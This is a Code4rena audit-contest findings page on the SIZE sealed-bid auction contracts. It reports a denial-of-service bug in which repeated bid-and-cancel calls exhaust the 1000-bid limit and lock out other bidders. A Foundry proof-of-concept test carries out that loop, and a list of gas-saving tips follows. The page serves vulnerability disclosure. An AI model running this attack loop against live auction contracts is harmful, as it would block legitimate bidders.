Platform: Code4rena
Start Date: 04/11/2022
Pot Size: $42,500 USDC
Total HM: 9
Participants: 88
Period: 4 days
Judge: 0xean
Total Solo HM: 2
Id: 180
League: ETH
Rank: 59/88
Findings: 2
Award: $26.73
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Trust
Also found by: 0x1f8b, 0xdapper, HE1M, KIntern_NA, Lambda, Picodes, RaymondFam, RedOneN, TomJ, V_B, __141345__, c7e7eff, chaduke, codexploder, corerouter, cryptonue, fs0c, gz627, hihen, joestakey, ktg, ladboy233, minhtrng, rvierdiiev, simon135, skyle, slowmoses, wagmi, yixxas
5.604 USDC - $5.60
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157 https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L420
The attacker could bid and then cancel the bid for 1000 times, and block other valid bidders. The cost of the attack is only gas fee
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
The attacker could first call Bid function and then cancelBid to DDOS attack. Because there is a upper limit of number bidding in the Bid function (https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157). the number of bids won't be reduced in cancelBid. So the attacker could keep doing Bid and cancelBid until reaching the 1000, and block other valid bidders
function testMultipleBids() public { uint256 aid = seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); bidder1.setAuctionId(aid); bidder2.setAuctionId(aid); (uint256 beforeQuote, uint256 beforeBase) = bidder1.balances(); (uint256 beforeQuote2, uint256 beforeBase2) = bidder2.balances(); // bidding and cancel bidding for DDOS for (uint256 i; i < 1000; i++) { bidder1.bidOnAuction(1 ether, 10e6); bidder1.cancel(); } (uint256 afterQuote, uint256 afterBase) = bidder1.balances(); assertEq(beforeQuote, afterQuote); bidder2.bidOnAuction(1 ether, 8e6);
(uint256 afterQuote2, uint256 afterBase2) = bidder2.balances(); assertEq(beforeQuote2, afterQuote2 + 8e6); assertEq(beforeBase2, afterBase2); }
#0 - c4-judge
2022-11-09T15:41:22Z
0xean marked the issue as duplicate
#1 - c4-judge
2022-12-06T00:25:47Z
0xean marked the issue as satisfactory
🌟 Selected for report: 0x1f8b
Also found by: 0xSmartContract, 0xdeadbeef, Aymen0909, B2, Bnke0x0, Deivitto, Diana, Dinesh11G, JC, RaymondFam, ReyAdmirado, Rolezn, Sathish9098, TomJ, ajtra, aviggiano, chaduke, cryptostellar5, djxploit, gianganhnguyen, gogo, halden, karanctf, leosathya, lukris02, mcwildy, oyc_109, ret2basic, skyle, slowmoses
21.132 USDC - $21.13
calldata
instead of memory
for function arguments that do not get mutated.Mark data types as calldata
instead of memory
where possible. This makes it so that the data is not automatically loaded into memory. If the data passed into the function does not need to be changed (like updating values in an array), it can be passed in as calldata
. The one exception to this is if the argument must later be passed into another function that takes an argument that specifies memory
storage.
You can mark public or external functions as payable to save gas. Functions that are not payable have additional logic to check if there was a value sent with a call, however, making a function payable eliminates this check. This optimization should be carefully considered due to potentially unwanted behavior when a function does not need to accept ether.
Marking constant variables in storage as constant saves gas. Unless a constant variable should be easily accessible by another protocol or offchain logic, consider marking it as private.
#0 - c4-judge
2022-11-10T02:13:02Z
0xean marked the issue as grade-b